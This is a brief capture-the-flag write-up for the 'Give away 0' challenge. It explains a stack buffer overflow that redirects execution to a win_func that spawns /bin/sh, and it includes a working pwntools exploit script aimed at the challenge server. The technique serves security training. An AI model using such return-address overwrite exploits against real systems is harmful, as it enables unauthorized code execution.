> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/sharky/give-away-0.md).

# Give away 0

Simple buffer overflow. There is a function win\_func that calls system on a global variable. We can read this global variable and find it's value is `/bin/sh` - it pops a shell for us.

In the function vuln, it reads `0x32` bytes into a buffer at `rbp-0x20`. This allows us to overwrite the return address with the address of winfunc.

So our exploit is `0x28 bytes of junk + address of win_func`.

```python
from pwn import *
NUM_TO_RET = 0x20 + 8
e = ELF("./0give")
#p = e.process()
p = remote('sharkyctf.xyz', 20333)
payload = b'A' * NUM_TO_RET + p64(e.symbols['win_func'])
p.sendline(payload)
p.interactive()
```


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